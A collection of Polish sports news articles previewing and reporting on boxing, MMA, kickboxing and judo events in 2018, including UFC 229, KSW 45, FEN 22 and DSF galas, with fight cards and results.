Głównym wydarzeniem gali UFC 229, która odbędzie się w T-Mobile Arenie w Las Vegas będzie starcie Conora McGregora z Khabibem Nurmagomedovem. Stawką pojedynku pas wagi lekkiej.

Prędzej czy później do tego starcia musiało dojść. 6 października wyjaśni się, kto jest lepszy. Conor McGregor będzie chciał udowodnić, że mimo blisko dwuletniej nieobecności, nadal jest czołową postacią UFC i gwiazdą MMA. Ostatnią walkę Irlandczyk stoczył blisko dwa lata temu. W Nowym Jorku pokonał w drugiej rundzie Eddiego Alvareza i sięgnął po pas w wadze lekkiej, jednak ani razu go nie bronił. McGregor postawił na boks. Irlandczyk zmierzył się z Floydem Mayweather Jr., jednak przegrał przez techniczny nokaut w dziesiątej rundzie. Powszechnie wiadomo, że 30-latek lubi, gdy wokół niego jest głośno, dlatego tez chciał wrócić w mocnym stylu. Nie mógł sobie wymarzyć lepszego rywala niż niepokonany Khabib Nurmagomedov.

Zawodnik z Dagestanu z UFC jest związany prawie siedem lat, ale znaczący sukces odniósł dopiero w kwietniu tego roku. Nurmagomedov sięgnął po tytuł mistrzowski w wadze lekkiej pokonując Ala Iaquintę. Co istotne, pas został wcześniej odebrany McGregorowi, który nie wyrażał chęci do stoczenia pojedynku w jego obronie. Wracając do Rosjanina, pozostaje on niepokonany, a w UFC zanotował dziesięć zwycięstw.

Główne wydarzenie gali UFC 229 budzi ogromne zainteresowanie. Z pewnością przełoży się to na zarobki zawodników. McGregor poinformował, że jego gaża może wynieść nawet 50 milionów dolarów.

Wokół pojedynku McGregora z Nurmagomedovem nie brakuje emocji. Rosjanin opuścił ostatnią konferencję promującą wydarzenie przed przybyciem swojego rywala. Powód? McGregor nie stawił się o umówionej porze. Rosjanin zwrócił uwagę na brak profesjonalizmu ze strony rywala, poprosił o zadawanie czasu i po 15 minutach wyszedł. Na McGregora trzeba było poczekać. Gdy dotarł na miejsce, tłumaczył się korkami.

Dla McGregora gala UFC 229 może być magiczna. Po raz kolejny ma szansę zasiąść na tronie i udowodnić swoją wielkość. Nurmagomedov broni tytułu i walczy o pozostanie niepokonanym. Jeśli przegra, nie straci tyle, ile McGregor, który znajdzie się w trudnym położeniu. Czy światła zgasną dla Irlandczyka?

Ciekawie zapowiada się również starcie Tony'ego Fergusona i Anthony'ego Pettisa. Zwycięzca może być kolejnym rywalem Khabiba, o ile ten obroni tytuł.

Fot. UFC

KM

Kuźnia walecznych talentów

Wielkimi krokami zbliża się XVIII Kurpiowska Kuźnia Mistrzów. Gala odbędzie się 6 października w hali WOSiR w Wyszkowie.

Wydarzenie zapowiadane jest jako wielkie sportowe święto. Kurpiowska Kuźnia Mistrzów ma być ucztą pełną emocjonujących pojedynków. Kibice będą mogli podziwiać walki bokserskie, K-1 oraz MMA. Głównym wydarzeniem będzie starcie Daniela Bralewskiego i Karola Łasiewickiego, którzy stoczą bój o pas mistrza Ziemi Kurpiowskiej (91kg, K-1). Jak zawsze na Kuźni nie zabraknie emocjonującej rywalizacji klubowej. Z pewnością iskry posypią się w starciu Filipa Pham Honga (Legia Warszawa) i Tomasza Stępińskiego (Palestra Warszawa).

Kurpiowska Kuźnia Mistrzów stale się rozwija i promuje kolejnych zawodników. Niektórzy mieli okazję rywalizować na galach DSF Kickboxing Challenge, a także zagranicą – Piotr Trześniewski w King of Kings. – Kurpiowska Kuźnia Mistrzów to wydarzenie z charakterem, które stopniowo rozwijamy. Uważam, że ciężką pracą doszliśmy do wysokiej poziomu i mamy określoną renomę. Nie robimy wszystkiego dla rozgłosu. Dla nas liczymy się sport i charakter. Aby zawodnicy mogli się rozwijać. Stawiamy na lokalnych, często młodych fighterów, żeby dać im szansę na posmakowanie zawodowstwa. To procentuje w przyszłości, ponieważ Kurpiowska Kuźnia Mistrzów wykształciła wielu dobrych zawodników – wyjaśnia nam Paweł Deluga, jeden z organizatorów Kurpiowskiej Kuźni Mistrzów.

Warto poświęcić uwagę najbliższej gali, aby lepiej poznać Kurpiowską Kuźnię Mistrzów. – Najbliższa gala to potwierdzenie tego, że stawiamy na młodych, głodnych sukcesu zawodników, ale i dobrych wojowników. Wierzę, że 6 października emocje sięgną zenitu. Szykuje się świetne sportowe widowisko – zapowiada Paweł Deluga.

XVIII Kurpiowska Kuźnia Mistrzów:

Walka o pas Mistrza Ziemi Kurpiowskiej (91kg K-1):  Daniel Bralewski (Gim KUŹNIA Wyszków) – Karol Łasiewicki (Fight Academy Ostrołęka)

Walki wieczoru (75kg K-1): Daniel Strzemiński(Akademia Lwa Wwy) – Bartosz Guz (Fight Gym Lublin)

Super Fight (69kg boks): Tomasz Stępiński (Palestra Warszawa) – Filip Pham Hong (KB Legia Warszawa)

76kg MMA: Karol Zduńczyk (Fenix Fight Club Waw) – Cezary Sarnowski (KSW CFG Waw)

75kg boks: Rafał Majewski (Żoliborska Szkoła Boksu) – Adam Łopiałło (Łuczek Boks Giżycko)

Walka otwarcia (91kg K-1): Marcin Rojek (Gim Kuźnia Wyszków) – Blażej Sarnacki(Gim Kuźnia Wyszków)

KM

Trudny rywal Adamka

6 października w Wintrust Arena w Chicago Tomasz Adamek stoczy swoją 59. Walkę w karierze. Jego rywalem będzie groźny Jarrell Miller, który marzy o pojedynku z Anthony'm Joshuą.

Po ponad czterech latach "Góral" stoczy walkę w Stanach Zjednoczonych. W marcu 2014 roku doznał porażki w starciu z Wiaczesławem Głazkovem. 41-letni były mistrz świata wagi junior ciężkiej i półciężkiej zaprezentuje się w Chicago po raz trzeci. Dwie wcześniejsze walki wygrał. Z pewnością w pamięci kibiców zapadła szczególnie ta z maja 2005 roku. Tomasz Adamek po zaciętym pojedynku pokonał Paula Briggsa i sięgnął po pas mistrza świata WBC. To był złoty czas boksera z Żywca, który przez kolejne lata był na szczycie. Co prawda w 2007 roku stracił pas WBC na rzecz Chada Dawsona, ale później zapisał na swoim koncie tytuły IBO i IBF w kategorii junior ciężkiej. Potem zapragnął zdominować wagę ciężką, ale powstrzymał go Witalij Kliczko.

Adamek jest legendą polskiego boksu i jego kolejne walki cieszą się zainteresowaniem. Po porażce z Arturem Szpilką wydawało się, że jego kariera dobiega końca. "Góral" nadal prezentuje się w ringu i może pochwalić się serią trzech zwycięstw z rzędu. Ostatnio znokautował Joeya Abella.

Najbliższym rywalem Tomasza Adamka będzie nadzieja amerykańskiego boksu Jarrell Miller. Rok temu 30-latek pokonał w dziewiątej rundzie Mariusza Wacha. Miller jest zdeterminowany i skuteczny. Wygrał 21 walk, z tym 18 przez nokaut i tylko jedną zremisował. Przed starciem z doświadczonym Adamkiem, Miller jest pewny swego. Amerykanin podkreśla, że chce szybko zakończyć rywalizację. 30-latek wybiega w przyszłość i myśli o starciu z Anthony'm Joshuą.

Polak intensywnie przygotowywał się do starcia z młodszym o 12 lat rywalem. Adamek trenował na Florydzie. Starcie z Millerem zostało zaplanowane na 12. rund. Po raz ostatni taki dystans w ringu Adamek spędził cztery lata temu z Głazkovem. Faworytem walki zaplanowanej na 6 października jest Millera. Adamek podejmuje kolejne wyzwanie w karierze, choć mógłby rywalizować w Polsce z tzw. "kelnerami".

Wydarzeniem wieczoru gali w Chicago będzie starcie mistrza świata IBF wagi półciężkiej Artura Beterbijewa z Callumem Johnsonem.

Fot. Tomasz Adamek „Goral” Facebook

KM

Jóźwiak: Przed nami najciekawsza gala w pięcioletniej historii FEN

20 października w Poznaniu odbędzie się gala Fight Exclusive Night 22. Główną atrakcją wieczoru będzie występ Damiana Grabowskiego, pas mistrzowski w kategorii lekkiej postara się obronić Mateusz Rębecki, który skrzyżuje rękawice z Łukaszem Koperą. Paweł Jóźwiak, prezes FEN, uważa, że gala w stolicy Wielkopolski będzie najlepsza w pięcioletniej historii federacji.

Czy 20 października kibice zobaczą najlepszą galę FEN w historii?

Paweł Jóźwiak: To trudne pytanie, bo mamy za sobą 21 edycji i w każdej znalazłoby się coś, co zapadło mi w pamięci. Ostatnio z Wrocławia zanotowałem niesamowitą radość Grzebyka po tym, jak zdobył pas mistrzowski. Podobał mi się pojedynek Łopaczyka z Jędraszczykiem, który był możliwie najlepszym pokazem MMA. W Warszawie skazywany na pożarcie Rębecki pokonał przed czasem Ziółkowskiego, Paczuski po widowiskowym pojedynku zdobył pas w K-1. Moim zdaniem to najlepsza gala FEN w historii – wielu kibicom podoba się już dziś, na kilkanaście dni przed pierwszym gongiem.

Karta walk została zamknięta ponad 3 tygodnie przed galą.

PJ: A wszyscy zawodnicy wiedzieli szybciej, że przyjdzie im wystąpić 20 października w Poznaniu. Nikt nie przyjedzie na galę prosto z wakacji, każdy ma czas na przygotowania. Dla mnie, jako dla promotora i prezesa federacji, najważniejsze jest, aby dawać kibicom bardzo dobre widowisko sportowe. Ambicje mamy naprawdę spore, bo za ostatnie kilka gal zebraliśmy mnóstwo bardzo fajnych komentarzy. Nie możemy dać teraz fanom tandety, bo to nie przejdzie. Nasi kibice od dłuższego czasu wiedzą, że wydając pieniądze na bilety lub włączając telewizor w sobotę wieczorem na Polsacie Sport, dostaną ekstra produkt. Dlatego też zawodnicy mają czas na przygotowania, każdy ma komfort pełnowymiarowych treningów.

Pech dopadł Radosława Paczuskiego, który doznał kontuzji.

PJ: I od razu zapytałem Radka, czy chce walczyć w Poznaniu. Dałby radę, ręka by się wyleczyła chwilę przed galą, ale nie chcemy ryzykować. To jest nasz mistrz, jego zdrowie jest dla nas bardzo ważne. Nie zwijamy interesu po gali w Poznaniu, zaraz będzie kolejna edycja i wtedy Radek będzie bronił mistrzowskiego pasa. W jego miejsce pojawiło się dwóch debiutantów w formule K-1, którzy mają aspiracje do tego, by w przyszłości zabrać Radkowi pas, bo to ta sama kategoria wagowa. Nie chcę mówić, że to eliminator, ale na pewno pojedynek, który wskaże, jaka hierarchia zawodników w kategorii do 85 kilogramów panuje w naszej federacji.

Na karcie walk jest kilku zawodników z Poznania.

PJ: Tak, to świadomy zamysł. Zawsze gospodarze obsadzają kilka miejsc na karcie walk, Poznań jest jednym z najmocniejszych "ośrodków" w Polsce jeżeli chodzi o MMA, więc nie było z tym problemu. Liczę na gospodarzy, bo wśród nich jest naprawdę wielu mocnych zawodników. Kondraciuk, Demczur, Radosz, Pasternak… Naprawdę nieźle to wygląda.

Kondraciuk ma pokonać młodego wilka z Gdyni, Bartosza Leśko.

PJ: Znowu – to będzie pojedynek młodości i doświadczenia. Zobaczymy, jak ostatnie 7 miesięcy przepracował Leśko, który po porażce z Naruszczką zrobił gigantyczny progres i bardzo się rozwinął. Jeżeli teraz wygra, to zrobi krok w przód i będzie zaliczał się już do czołówki "średnich" w naszym kraju. Kondraciuk to jednak stary wyga, król kończenia rywali przed czasem. Moim zdaniem to może być najciekawszy pojedynek podczas tej gali.

Ale walką o pas będzie starcie Rębeckiego z Koperą.

PJ: Mówiłem o tym kilkukrotnie – to pojedynek dwóch z trzech, może czterech najlepszych zawodników w Polsce w tej kategorii wagowej. Mateusz jest posiadaczem czarnego pasa w brazylijskim jiu-jitsu, Kopera to znakomity judoka, który już dziś jest wielopłaszczyznowy i równie dobrze radzi sobie w stójce. Faworytem jest mistrz, wiadomo, ale Rębecki jeszcze nie przegrał u nas w federacji i nie zamierza tego zmieniać.

O Damiana Grabowskiego pytają wszyscy – kibice, dziennikarze…

PJ: Bo to wielka gwiazda i zawodnik, któremu kibicowałem bardzo dawno temu. Cieszę się, że jest u nas w federacji i wierzę, że to będzie nasz przyszły mistrz w kategorii ciężkiej. To naprawdę bardzo fajny facet – wygadany, elokwentny, ciekawy świata, sporo w życiu widział, a cały czas pozostaje taki sam i w sporcie patrzy bardzo wysoko. W każdym jego zdaniu wychodzi z niego niesamowita ambicja i pewność siebie. Czekam z utęsknieniem na jego debiut w FEN.

Karta walk FEN 22:

  • Damian Grabowski VS Jose Rodrigo Guelke -120 kg
  • Mateusz Rębecki VS Łukasz Kopera -70 kg*
  • Bartosz Leśko VS Tomasz Kondraciuk -84 kg
  • Kamil Gniadek VS Jacek Jędraszczyk -77 kg
  • Kamil Łebkowski VS Łukasz Demczur -66 kg
  • Krzysztof Klaczek VS Edilson Teixeira -66 kg
  • Łukasz Radosz VS Mateusz Kubiszyn -85 kg K-1
  • Dawid Pasternak VS Rafał Statkiewicz -61 kg

Bilety na galę FEN 22 w serwisie Eventim.pl można nabyć TUTAJ.

Dwie walki mistrzowskie na gali Piaseczno Fight Night w sobotę 6 października!

Zaledwie tydzień po gali DSF 17 w Częstochowie kibice sportów walki w Polsce dostaną za darmo kolejną galę kickboxingu. Na DSF Fight Night Piaseczno odbędą się dwa pojedynki o mistrzowskie pasy federacji DSF. Główną atrakcją wieczoru będzie występ czempiona wagi piórkowej (do 65 kg) Jana „Irona” Lodzika, który przystąpi do drugiej obrony tytułu.

Fani będą mogli obejrzeć 6 zawodowych pojedynków. Wystąpią w nich zawodnicy znani z gal federacji DSF – Aleksander Kalicki (65 kg) Piotr Sokół (75 kg) i Joanna Różańska (60 kg) oraz inni kickbokserzy zrzeszeni przez Polski Związek Kickboxingu, który współorganizuje galę w Piasecznie.

W walce o pas wystąpi 28-letni Łukasz Wichowski, pierwszy mistrz federacji DSF Kickboxing Challenge. Utalentowany i utytułowany zawodnik klubu X Fight Piaseczno w końcu wyleczył się z kontuzji i wraca, by bronić tytułu DSF w formule Full Contact w kategorii do 81 kilogramów.

Pojedynek wieczoru to trzeci tegoroczny występ Jana Lodzika. W marcu „Iron” pokonał Murata Azebijewa na gali DSF Twierdza w Nowym Dworze Mazowieckim, a dwa miesiące później na DSF 15: Bastion Chwały okazał się lepszy od wielokrotnego mistrza świata i Europy Jurija Żukowskiego. 23-letni Lodzik chce podtrzymać wyborną passę, efektownie wygrywając sobotnie starcie. Poniżej pełna karta walk.

Walka pokazowa (Kick Light, 2 x 2 min):

Patrycja Kłosiewicz (POLSKA) vs Oliwia Ściągaj (POLSKA)

Walki zawodowe (K-1, 3 x 3 min):

65 kg Kamil Rościński(POLSKA) vs Pavel Haurys (BIAŁORUŚ)
65 kg Aleksander Kalicki (POLSKA) vs Mateusz Jagielski (POLSKA)
75 kg Piotr Sokół (POLSKA) vs Rafał Kamiński (POLSKA)
60 kg Joanna Różańska (POLSKA) vs Veronika Drobyazko(BIAŁORUŚ)

Co-Main Eventwalka o pas DSF (Full Contact, 5 x 2 min):

81 kg Łukasz Wichowski (POLSKA) vs Yauheni Matsiushonak (BIAŁORUŚ)

Main Event: walka o pas DSF (K-1, 5 x 3 min):

65 kg Jan Lodzik (POLSKA) vs Aliaksei Zdunkevich(BIAŁORUŚ)

Gala DSF Piaseczno Fight Night rozpocznie się o godzinie 18:00. Wszystkie walki zawodowe zostaną pokazane za darmo na kanałach Facebook i YouTube federacji DSF Kickboxing Challenge. Początek imprezy w GOSiR przy ul. Sikorskiego 20 w Piasecznie o godzinie 17:00 (otwarcie bramek dla kibiców). Koniec sobotniej gali został zaplanowany na 20:30.

Wojownicy zaprezentują się na Wembley

Dwa pojedynki, których stawką będą pasy mistrzowskie, turniej wagi półciężkiej i debiut byłego zawodnika UFC – tak ma wyglądać gala KSW 45: Return to Wembley, która odbędzie się 6 października.

Po raz pierwszy organizacja Martina Lewandowskiego i Macieja Kawulskiego gościła w Londynie prawie trzy lata temu. Wtedy to pas mistrzowski wywalczył Tomasz Narkun, który pokonał Gorana Reljicia. Tytuł w kategorii półśredniej obronił Borys Mańkowski, a w starciu wieczoru Mariusz Pudzianowski w drugiej rundzie zatrzymał Petera Grahama. Podczas najbliższej hali żadnego z wymienionych zawodników nie zobaczymy.

Myliłby się ten, kto powiedziałby, że KSW 45 nie zapowiada się interesująco. O odzyskanie pasa w wadze ciężkiej postara się Karol Bedorf. 35-latek stracił tytuł na rzecz Fernando Rodriguesa Jr., a następnie zerwał ścięgno Achillesa i długo pauzował. Stracił szansą na występ na gali KSW na stadionie PGE Narodowy, ale wrócił w czerwcu br. W Ergo Arenie poddał Mariusza Pudzianowskiego i zgłosił akces do walki o pas. Jego rywalem będzie Philip de Fries. Dla Anglika starcie z Bedorfem to wyjątkowa walka. De Fries zaprezentuje się na własnej ziemi, a dodatkowo po raz pierwszy będzie bronił tytułu. Wiadomo, że mistrz jest niezwykle groźny i do bólu skuteczny. Walka wieczoru zapowiada się interesująco, tak jak i starcie o pas w wadze półśredniej. Roberto Soldić pała żądzą rewanżu na Dricusie Du Plessis. Zawodnik z RPA odebrał tytuł Chorwatowi podczas KSW 43 we Wrocławiu.

W Londynie odbędzie się również turniej w wadze średniej. Zwycięzcy staną do rywalizacji o pas zwakowany przez Mameda Khalidova. Legenda KSW i były mistrz Michała Materla zmierzy się z niezwykle groźnym Damianem Janikowskim. Z kolei Scott Askham spotka się z Marcinem Wójcikiem.

Debiut w KSW zaliczy Thiago Silva, który swego czasu rywalizował w UFC, gdzie pokonał m.in. Matta Hamilla czy Tomasza Drwala. Ostatnio Brazylijczyk prezentował się na galach ACB. Jego rywalem w Londynie będzie James McSweeney, którego celem jest przełamanie serii trzech porażek.

Do pierwszej walki w KSW przygotowuje się również Akop Szostak. Naprzeciw niego stanie Jamie Sloane. Pierwotnie rywalem Szostaka miał być John Smith, jednak wycofał się z walki.

 

Karta walk KSW 45:

Walka wieczoru (stawką pas mistrzowski): 120 kg: Philip De Fries – Karol –

120 kg: Paweł Mikołajuw -Erko Jun

84 kg: Michał Materla – Damian Janikowski

O pas: 77 kg: Dricus Du Plessis – Roberto Soldic  

84 kg: Scott Askham – Marcin Wójcik

120 kg: James McSweeney – Thiago Silva

93 kg: Wagner Prado – Max Nunes

93 kg: Akop Szostak – Jamie Sloane

70 kg: Leszek Krakowski – Alfie Davis

KM

Jenel ponownie lepszy od Ruty

Kamil Jenel nadal posiadaczem pasa mistrzowskiego K-1 do 81 kg. Na gali DSF Kickboxing Challenge w Częstochowie czempion pokonał Kamila Rutę.

To starcie niosło ze sobą ogromny ładunek emocjonalny. Rok temu Jenel po zaciętej walce odebrał tytuł Rucie. W Częstochowie miała nastąpić druga odsłona rywalizacji, jednak ta zaczęła się zdecydowanie wcześniej. Przepychanki słowne i wymiana uprzejmości stały się niemalże codziennością. Ruta pałał żądzą rewanżu, zaś Jenel był pewny swego. Status quo został zachowany.  
Na dystansie pięciu rund Jenel okazał się lepszy od Ruty. Sędziowie nie mieli co do tego wątpliwości.

Róża Gumienna ponownie musiała uznać wyższość Cristiny Caruso. Swego czasu przegrała z nią na mistrzostwach świata. Tym razem Włoszka sięgnęła po pas w wadze piórkowej. Tytuł w kategorii półciężkiej należy do Jarosława Zawodniego, który pokonał Norberta Anzorge'a.

Udany rewanż Polaków! W lutym biało-czerwoni musieli uznać wyższość Czechów – 2:3. Tym razem Polacy rozbili rywali w pył. – Jeden z piękniejszych dni w moim życiu Polska pokonała Czechy 5-0.  Biszczak i Mirkowski zrobili swoje. A 8 miesięcy temu przegraliśmy 3-2. Siła polskiego kickboxingu się odradza. Jestem dumny ze przykładamy do tego swoją cegiełkę – dzielił się Sławomir Duba, prezes DSF.

Wyniki gali DSF 17:

Walka wieczoru: Kamil Jenel pokonał Kamila Rutę jednogłośną decyzją sędziów (50-46, 49-46, 50-46)

O pas w wadze piórkowej (65kg): Cristina Caruso pokonała Różę Gumienną jednogłośną decyzją sędziów (48-47, 50-46, 49-46)

O pas PZKb 91 kg: Jarosław Zawodni pokonał Norberta Anzorge’a jednogłośną decyzją sędziów (3x 39-28)

Polska – Czechy: 
Dawid Mirkowski (81kg) pokonał Jana Greisigera jednogłośną decyzją sędziów (30-29, 30-29, 29-28)
Paweł Biszczak (77kg) pokonał Pavola Garaja niejednogłośną decyzją sędziów (30-29, 30-29, 28-29)
Adam Gielata (71kg) pokonał Romana Dika przez TKO w 3 rundzie
Patryk Radoń (71kg) pokonał Gora Harutjunjana jednogłośną decyzją sędziów (30-27, 30-27, 29-28)
Mateusz Rajewski (65kg) pokonał Filipa Hucina jednogłośną decyzją sędziów (30-28, 30-28, 29-28)

Walka PRO muay thai: Mariusz Rozpędzki (71kg) pokonał Arkadiusza Krupę jednogłośną decyzją sędziów (3x 28-27)

Walka PRO full contact: Piotr Golon (75kg) pokonał Dawida Rychtera jednogłośną decyzją sędziów (3x 30-27)

KM

Mistrzostwa świata – podsumowanie

Bez medalu zakończyła Polska zmagania w mistrzostwach świata w judo, które odbyły się w Baku. Imprezę zdominowali Japończycy zdobywając aż siedem złotych krążków.

Dla polskiego judo ostatnie czempionaty to w miarę miłe wspomnienia, ale.. Biało-czerwoni czekali na medal mistrzostw świata sześć lat. W 2008 roku w Levallois na najniższym stopniu podium stanął Grzegorz Eitel (open). Dopiero w 2014 roku nastąpił przełom za sprawą Katarzyny Kłys (70kg), która sięgnęła po brąz. Rok później w Astanie drużyna kobiet zdobyła srebro przegrywając w finale z Japonkami. W 2017 roku w Budapeszcie brąz wywalczyła Agata Ozdoba (63kg). Wyraźnie widać powtarzalność, tak jak i w latach 80. ubiegłego wieku. Co warto wspomnieć, po koniec tejże dekady biało-czerwoni przywozili nawet po trzy medale (Essen, Belgrad). Również w latach 90. nie mogliśmy narzekać – Barcelona, Makuchari i Paryż to popisy przede wszystkim Pawła Nastuli i Beaty Maksymow, a także Anety Szczepańskiej, Małgorzaty Roszkowskiej, Rafała Kubackiego i Waldemara Legienia. XX wiek rysował się gorzej, ale ostatnio Polacy zapisywali na swoim koncie medal. W Baku nie udało się.

W zakończonych mistrzostwach świata najbliżej sukcesu był Damian Szwarnowiecki (81kg). Polak zaczął od trzech wygranych, ale w czwartej walce trafił na Sotaro Fujiwarę. Japończyk może pochwalić się mistrzostwem Azji zdobytym w 2017 roku. Tegoroczne starty również miał udane – dwa zwycięstwa w zawodach Grand Slam i trzecie miejsce w Grand Prix w Zagrzebiu. Szwarnowiecki nie znalazł sposobu na Fujiwarę, który triumfował przed czasem. W repasażach zawodnik Gwardii Wrocław pokazał moc! Szwarnowiecki rozłożył na łopatki mistrza olimpijskiego Khasana Khalmurzaeva. Wydawało się, że na fali popłynie po brąz, jednak w decydującej walce lepszy okazał się Turek Vedat Albayrak. – 5 miejsce na Mistrzostwach Świata Seniorów w Baku! Wygrałem aż cztery pojedynki m.in. z aktualnym Mistrzem Olimpijskim, Khasan Khalmurzaev. Dziękuję, że byliście ze mną! – napisał Szwarnowiecki na Facebooku.

Pozostałym Polakom nie dane było walczyć o medale. Do 1/8 finału dotarli: Agata Perenc (52kg), Paula Kułaga (78kg), Rafał Kozłowski (90kg), Maciej Sarnacki (+100kg). Łącznie w Baku zaprezentowało się 16 reprezentantów Polski.

W stolicy Azerbejdżanu o medale rywalizowało 755 judoczek i judoków. Mistrzostwa świata rozgrywały się po dyktando Japonii, która ma siedmiu złotych medalistów – Uta Abe (52kg), Tsukasa Yoshida (57kg), Chizuru Arai (70kg), Shori Hamada (78kg), Sarah Asahina (+78kg), Naohisa Takato (60kg) i Hifumi Abe (66kg). Zawodnicy z Kraju Kwitnącej Wiśni zdobyli również pięć srebrnych i cztery brązowe krążki. Druga w klasyfikacji medalowej była Korea Południowa (2, 0, 1), a trzecia Francja (1, 1, 2).

Fot. EJU/PZJudo

KM

Kolejna wielka batalia?

29 września na gali DSF Kickboxing Challenge 17 w Częstochowie dojdzie do rewanżowego starcia pomiędzy Kamilem Jenelem a Kamilem Rutą o pas mistrzowski K-1 do 81kg. Poprzedni pojedynek został okrzyknięty mianem walki 2017 roku. Czy najbliższe starcie dostarczy równie wiele emocji?

Do rewanżowego pojedynku dojdzie równo rok po pierwszy starciu Jenela i Ruty. Wtedy szczęścia nie ukrywał zawodnik Paco Team Katowice. Pięciorundowa batalia dostarczyła widzom wielu wrażeń. Kamil Ruta przystępował do starcia jako posiadacz pasa DSF oraz tytułu zawodowego mistrza Polski PZKB. Początek walki wyrównany, lecz z czasem optyczną przewagę zyskał Jenel. Zawodnik pochodzący z Nowej Rudy słał w stronę rywala kolejne ciosy i był skuteczny w defensywie. Ruta ruszył w piątej rundzie, naciskał przeciwnika z całych sił. Doświadczenie Jenela pozwoliło mu przetrwać ciężkie chwile, a następnie cieszyć się z pozytywnego dla niego werdyktu sędziowskiego.

Temperatura przed sobotnim (29 września br.) starciem jest ogromna. Obaj zawodnicy nie szczędzą sobie cierpkich słów. – Na ten moment czekałem rok, długich 365 dni. Nadchodzi czas zemsty – mówi Kamil Ruta. – Nasza pierwsza walka była tylko przedsionkiem do piekła. Teraz spotkasz się z prawdziwym szatanem – zapowiada Kamil Jenel. – Spotka go jeszcze gorsza klęska – dodaje. Z kolei Ruta podkreśla, że chce "upokorzyć rywala".

Pretendent ma za sobą dwie wygrane walki. Na DSF 12 znokautował Dawida Mirkowskiego, a w kwietniu pokonał Yohana Lidona. Z kolei Jenel ma na rozkładzie trzech rywali: Eduarda Mirceę (DSF 12), Aleksandra Żakarowa (DSF 14) oraz Eduarda Aleksanyana (DSF 16). Który z bohaterów częstochowskiej gali podtrzyma zwycięską passę?

Częstochowska gala będzie obfitowała w mistrzowskie pojedynki. W trzecim występie dla organizacji DSF przed szansą zdobycia pasa w wadze piórkowej (65kg) stanie Róża Gumienna. Polka w Hali Polonia zmierzy się z Cristiną Caruso. Gumienna ma rachunki do wyrównania z Włoszką, z którą przegrała dwa lata temu w finale mistrzostw Europy. Pierwotnie Norbert Anzorge miał rywalizować z Marcinem Bachórzem, jednak ten wycofał się z powodu kontuzji. Popularny "Azja" o pas mistrzowski w wadze półciężkiej zmierzy się z Jarosławem Zawodnim.

W Częstochowie dojdzie również do rewanżowego starcia Polska – Czechy. Lutowe spotkanie we Wrocławiu zakończyło się triumfem naszych południowych sąsiadów – 3:2. W Częstochowie Polskę reprezentować będą: Mateusz Rajewski (65kg), Patryk Radoń (71kg), Adam Gielata (71kg), Paweł Biszczak (75kg) oraz Dawid Mirkowskin (81kg).

KM

Wilder – Fury w Los Angeles

1 grudnia dojdzie do pojedynku mistrza WBC w wadze ciężkiej Deontaya Wildera z Tysonem Fury'm. Starcie odbędzie się w Staples Center w Los Angeles.

Walka jeszcze nie była potwierdzona, a już nie brakowało emocji. Deontay Wilder pojawił się na ceremonii ważenia przed sierpniowym pojedynkiem Fury'ego z Francesco Pianetą. Mistrz WBC wszedł na scenę i zaczął krzyczeć w stronę olbrzyma z Wilmslow. Fury był spokojny, jednak osoba z jego sztabu wdała się w dyskusję z Wilderem, która była niezwykle gorąca. Z kolei po zwycięskiej walce Brytyjczyka w Belfaście, Amerykanin pojawił się w ringu. Uprzejmości nie brakowało…

Wiadomo było, że do starcia Wildera z Fury'm musi dojść. Mistrz potrzebuje mocnego rywala, aby potwierdzić swoją dominację, a z kolei były czempion chce wrócić do czołówki. W tym roku Wilder walczył tylko raz, Amerykanin przed czasem pokonał Luisa Ortiza. Dla mistrza WBC grudniowe starcie będzie ósmą obroną pasa. Z kolei Fury wrócił do rywalizacji po wielu perypetiach i problemach. Kiedyś był na szczycie, ale nie wytrzymał psychicznie i znalazł się na bocznym torze. Wrócił 9 czerwca w starciu z Seferem Seferim. W sierpniu pokonał Francesco Pianetę i 1 grudnia stanie przed szansą na zdobycie pasa mistrzowskiego. Z pewnością nie wysoki poziom sportowy zapewnił Fury'emu walkę o tytuł, lecz jego otwartość w głoszeniu swoich marzeń. Brytyjczyk doskonale wie, co zrobić, aby znaleźć się na pierwszym planie.

1 grudnia Wilder i Fury spotkają się w Staples Center w Los Angeles. Po raz ostatni hala gościła wielką walkę w 2003 roku, kiedy to w Kalifornii zmierzyli się Witalij Kliczko oraz Lennox Lewis. Pojedynek Wildera z Fury’m ma być wydarzeniem w świecie boksu, a dla samych pięściarzy dochodowym interesem. Szacuje się, że każdy z nich zarobi po 20 milionów dolarów.

W poniedziałek w Londynie rozpocznie się promocja grudniowego starcia. Następnie pięściarze pojawią się w Nowym Jorku oraz Los Angeles. Będzie się działo. Bacznym obserwatorem z pewnością będzie Anthony Joshua. Wydaje się, że nie ma innego scenariusza niż jego starcie ze zwycięzcą walki Wilder-Fury.

Fot. Deontay Wilder Facebook

KM

Początek rozbudził apetyty

Gala Wirtuoz Challenge 1: Początek miała być połączeniem emocji sportowych i efektów wizualnych. Organizatorzy zebrali pozytywne recenzje i już myślą o przygotowaniu kolejnego widowiska.

Gdy na rynku pojawia się nowy produkt wśród odbiorców rodzi się ciekawość, co do jego jakości. Organizator dokłada wszelkich starań, aby zadowolić publikę. W Wolborzu wejście na rynek sportów walki zaliczyła organizacja Wirtuoz Challenge. Do ostatnich chwil organizatorzy mieli wiele spraw i z pewnością obgryzali paznokcie. – Paznokcie całe, ale nasi bliscy odczuli bardzo nasze przygotowania do gali. To był kolejny projekt, który śnił mi się po nocach. Największa gonitwa to ostatnie kilkadziesiąt godzin przed rozpoczęciem gali. Nie mogliśmy sobie pozwolić na spóźnienia oraz pomyłki, bo to tworzyłoby efekt domina, które przełożyłoby się na kolejne zadania. Pierwsza gala wymagała od nas o wiele pracy i przygotowań. Bardzo ważnym elementem było planowanie na obiekcie, na którym takie wydarzenie nigdy nie miało miejsca. Mieliśmy naprawdę dobry team, znakomitych podwykonawców, którzy wnieśli na halę sportową w Wolborzu usługi na najwyższym poziomie – wyjaśnia Karol Stępień, odpowiedzialny za oprawę techniczną wydarzeń. Walka z czasem zakończyła się pełnym sukcesem. – Mieliśmy bardzo mało czasu na organizację i trudności z pozyskaniem sponsorów. Nie mieliśmy żadnego doświadczenia w organizacji podobnego typu wydarzeń, żadnych osiągnięć ani sukcesów z poprzednich inicjatyw. To była trudna droga, setki przejechanych kilometrów i rozmów z potencjalnymi sponsorami. Półtora miesiąca przed imprezą mieliśmy zrezygnować z inicjatywy, ale nie poddaliśmy się i w miesiąc dopięliśmy fightcard i zdobyliśmy niezbędną ilość funduszy na galę – opowiada Magdalena Wnukiewicz, prezes Stowarzyszenia Wirtuoz.

